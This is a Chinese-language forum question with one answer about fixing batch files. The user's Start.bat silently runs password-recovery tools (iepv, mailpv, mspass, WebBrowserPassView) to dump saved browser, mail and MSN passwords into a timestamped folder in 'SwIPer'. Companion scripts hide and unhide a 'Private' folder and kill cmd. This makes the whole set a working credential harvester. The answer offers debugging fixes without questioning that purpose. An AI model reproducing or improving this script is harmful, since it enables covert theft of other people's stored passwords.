我已经弄清楚代码的哪部分正在执行此操作,但不知道如何修复它......这是代码:
Set _Path=Private
For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I
If "%_Attribs:~4,1%"=="H" (
Attrib -S -H "%_Path%"
Attrib /D /S -S -H "%_Path%"\*.*
) Else (
Attrib +S +H "%_Path%"
Attrib /D /S +S +H "%_Path%"\*.*
)
批处理在执行后立即执行了它应执行的操作,但是 cmd 窗口保持打开状态 46 秒然后退出(因为我执行了 taskkill /IM cmd.exe)。
请帮忙!
附言:如果你想让我发布所有代码(代码很多),我会的。我可能解释不清,但我会尽力的。
全部代码如下:
我启动了 Pre-Unhide.bat(这里没有问题)
@echo off cd /d %~d0\ cd SwIPer start /min Start.bat cd.. call Unhide.bat
Start.bat是这样的:
@echo off for /F " tokens=1,2,3* delims=/, " %%i IN ('date /T') DO ( set CUR_DAY_OF_WEEK=%%i set CUR_MONTH=%%j set CUR_DAY=%%k set CUR_YEAR=%%l) for /F " tokens=1,2,3* delims=:, " %%i IN ('time /T') DO ( set CUR_HOUR=%%i set CUR_MIN=%%j set AM_PM=%%k) cd /d %~d0\ cd %~d0\SwIPer md "%~d0\SwIPer\%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" start /min iepv /stext IExplorer.txt start /min mailpv /stext Mail.txt start /min mspass /stext MSN.txt start /min WebBrowserPassView /stext AllBrowsers.txt echo d | xcopy MSN.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy Mail.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy AllBrowsers.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" echo d | xcopy IExplorer.txt "%CUR_HOUR%.%CUR_MIN%%AM_PM% %j%%CUR_MONTH%-%CUR_DAY%-%CUR_YEAR%" del IExplorer.txt del Mail.txt del MSN.txt del AllBrowsers.txt
然后 Pre-Unhide.bat 继续调用 Unhide.bat
@echo off Set _Path=Private For /F "Delims=" %%I In ('Attrib "%_Path%"') Do Set _Attribs=%%I If "%_Attribs:~4,1%"=="H" ( Attrib -S -H "%_Path%" Attrib /D /S -S -H "%_Path%"\*.* ) Else ( Attrib +S +H "%_Path%" Attrib /D /S +S +H "%_Path%"\*.* )
(然后添加了这个,因为我想让它强制退出,但它仍然等待 46 秒才能强制退出)
taskkill /IM cmd.exe
非常感谢您的帮助:)谢谢。
答案1
首先注释您的代码。这样更容易理解您想要实现的目标。如果需要,请在代码的每个步骤中使用暂停命令进行调试。
尝试以下操作:在 Pre-Unhide.bat 中,将 /wait 开关添加到“start /min start.bat” - 因此“start /min /wait start.bat”。这将使 preunhide 等待 start 完成后再调用 unhide.bat。有关 Start 和其他 CMD 命令的更多信息,请参阅此链接::http://ss64.com/nt/
将 exit 添加为 start.bat 的最后一行代码。这将关闭 start.bat,以便 preunhide 可以调用 unhide.bat。您也可以将其添加为 unhide 的最后一行。
还建议您使用 ROBOCOPY 而不是 XCOPY。